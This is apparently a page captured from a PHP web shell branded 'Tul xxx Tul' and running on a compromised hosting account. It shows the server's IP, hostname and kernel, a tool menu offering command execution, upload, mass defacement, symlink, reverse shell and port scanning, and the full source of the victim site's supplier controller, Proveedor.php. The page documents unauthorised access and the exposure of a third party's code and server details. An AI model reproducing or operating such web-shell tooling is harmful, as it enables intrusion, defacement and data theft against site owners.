Tul xxx Tul
User / IP
:
216.73.216.227
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
vendefacil2
/
controllers
/
Viewing: Proveedor.php
<?php class Proveedor extends Controller { private $id_sucursal; public function __construct() { parent::__construct(); session_start(); if (empty($_SESSION['id_usuario'])) { header('Location: ' . BASE_URL); exit; } $this->id_sucursal = $_SESSION['id_sucursal']; } public function index() { if (!verificar('ver_proveedores')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Proveedores'; $data['script'] = 'proveedor.js'; $this->views->getView('proveedor', 'index', $data); } public function listar() { if (verificar('ver_proveedores') || verificar('crear_compras')) { $data = $this->model->getProveedores(1, $this->id_sucursal); for ($i = 0; $i < count($data); $i++) { $acciones = '<div>'; if (verificar('eliminar_proveedores')) { $acciones .= '<button class="btn btn-danger" type="button" onclick="eliminarProveedor(' . $data[$i]['id'] . ')"><i class="fas fa-trash"></i></button>'; } if (verificar('editar_proveedores')) { $acciones .= '<button class="btn btn-info" type="button" onclick="editarProveedor(' . $data[$i]['id'] . ')"><i class="fas fa-edit"></i></button>'; } $acciones .= '</div>'; $data[$i]['acciones'] = $acciones; } echo json_encode($data, JSON_UNESCAPED_UNICODE); } die(); } public function registrar() { if (isset($_POST['ruc']) && isset($_POST['nombre'])) { $id = strClean($_POST['id']); $ruc = strClean($_POST['ruc']); $nombre = strClean($_POST['nombre']); $telefono = strClean($_POST['telefono']); $correo = strClean($_POST['correo']); $direccion = strClean($_POST['direccion']); if (empty($ruc)) { $res = array('msg' => 'EL RUC ES REQUERIDO', 'type' => 'warning'); } else if (empty($nombre)) { $res = array('msg' => 'EL NOMBRE ES REQUERIDO', 'type' => 'warning'); } else if (empty($telefono)) { $res = array('msg' => 'EL TELEFONO ES REQUERIDO', 'type' => 'warning'); } else if (empty($correo)) { $res = array('msg' => 'EL CORREO ES REQUERIDO', 'type' => 'warning'); } else if (empty($direccion)) { $res = array('msg' => 'LA DIRECCION ES REQUERIDO', 'type' => 'warning'); } else { if ($id == '') { if (verificar('crear_proveedores')) { $verificarRuc = $this->model->getValidar('ruc', $ruc, 'registrar', 0); if (empty($verificarRuc)) { $verificarTelefono = $this->model->getValidar('telefono', $telefono, 'registrar', 0); if (empty($verificarTelefono)) { $verificarCorreo = $this->model->getValidar('correo', $correo, 'registrar', 0); if (empty($verificarCorreo)) { $data = $this->model->registrar( $ruc, $nombre, $telefono, $correo, $direccion, $this->id_sucursal ); if ($data > 0) { $res = array('msg' => 'PROVEEDOR REGISTRADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL REGISTRAR', 'type' => 'error'); } } else { $res = array('msg' => 'EL CORREO DEBE SER UNICO', 'type' => 'warning'); } } else { $res = array('msg' => 'EL TELEFONO DEBE SER UNICO', 'type' => 'warning'); } } else { $res = array('msg' => 'EL RUC DEBE SER UNICO', 'type' => 'warning'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'warning'); } } else { if (verificar('editar_proveedores')) { $verificarRuc = $this->model->getValidar('ruc', $ruc, 'actualizar', $id); if (empty($verificarRuc)) { $verificarTelefono = $this->model->getValidar('telefono', $telefono, 'actualizar', $id); if (empty($verificarTelefono)) { $verificarCorreo = $this->model->getValidar('correo', $correo, 'actualizar', $id); if (empty($verificarCorreo)) { $data = $this->model->actualizar( $ruc, $nombre, $telefono, $correo, $direccion, $id ); if ($data > 0) { $res = array('msg' => 'PROVEEDOR MODIFICADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR AL MODIFICAR', 'type' => 'error'); } } else { $res = array('msg' => 'EL CORREO DEBE SER UNICO', 'type' => 'warning'); } } else { $res = array('msg' => 'EL TELEFONO DEBE SER UNICO', 'type' => 'warning'); } } else { $res = array('msg' => 'EL RUC DEBE SER UNICO', 'type' => 'warning'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'warning'); } } } } else { $res = array('msg' => 'ERROR DESCONOCIDO', 'type' => 'error'); } echo json_encode($res); die(); } public function eliminar($idProveedor) { if (isset($_GET) && is_numeric($idProveedor) && verificar('eliminar_proveedores')) { $data = $this->model->eliminar(0, $idProveedor); if ($data == 1) { $res = array('msg' => 'PROVEEDOR ELIMINADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR ELIMINAR', 'type' => 'error'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'error'); } echo json_encode($res); die(); } public function editar($idProveedor) { if (!verificar('editar_proveedores') && !verificar('ver_proveedores')) { echo json_encode(['msg' => 'NO TIENES PERMISOS', 'type' => 'error'], JSON_UNESCAPED_UNICODE); die(); } if (!is_numeric($idProveedor)) { echo json_encode(['msg' => 'ID inválido', 'type' => 'error'], JSON_UNESCAPED_UNICODE); die(); } $data = $this->model->editar($idProveedor); if (empty($data) || (int)($data['id_sucursal'] ?? 0) !== (int)$this->id_sucursal) { echo json_encode(['msg' => 'PROVEEDOR NO ENCONTRADO', 'type' => 'error'], JSON_UNESCAPED_UNICODE); die(); } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function inactivos() { if (!verificar('ver_proveedores')) { header('Location: ' . BASE_URL . 'admin/permisos'); exit; } $data['title'] = 'Proveedores Inactivos'; $data['script'] = 'proveedor-inactivos.js'; $this->views->getView('proveedor', 'inactivos', $data); } public function listarInactivos() { $data = []; if (verificar('ver_proveedores')) { $data = $this->model->getProveedores(0, $this->id_sucursal); for ($i = 0; $i < count($data); $i++) { $data[$i]['acciones'] = '<div> <button class="btn btn-danger" type="button" onclick="restaurarProveedor(' . $data[$i]['id'] . ')"><i class="fas fa-check-circle"></i></button> </div>'; } } echo json_encode($data, JSON_UNESCAPED_UNICODE); die(); } public function restaurar($idProveedor) { if (isset($_GET) && is_numeric($idProveedor) && verificar('eliminar_proveedores')) { $data = $this->model->eliminar(1, $idProveedor); if ($data == 1) { $res = array('msg' => 'PROVEEDOR RESTAURADO', 'type' => 'success'); } else { $res = array('msg' => 'ERROR RESTUARAR', 'type' => 'error'); } } else { $res = array('msg' => 'NO TIENES PERMISOS', 'type' => 'error'); } echo json_encode($res); die(); } //buscar proveedores para la compra public function buscar() { $array = array(); $valor = $_GET['term']; $data = $this->model->buscarPorNombre($valor, $this->id_sucursal); foreach ($data as $row) { $result['id'] = $row['id']; $result['label'] = $row['nombre']; $result['telefono'] = $row['telefono']; $result['direccion'] = $row['direccion']; array_push($array, $result); } echo json_encode($array, JSON_UNESCAPED_UNICODE); die(); } }
Coded With 💗 by
0x6ick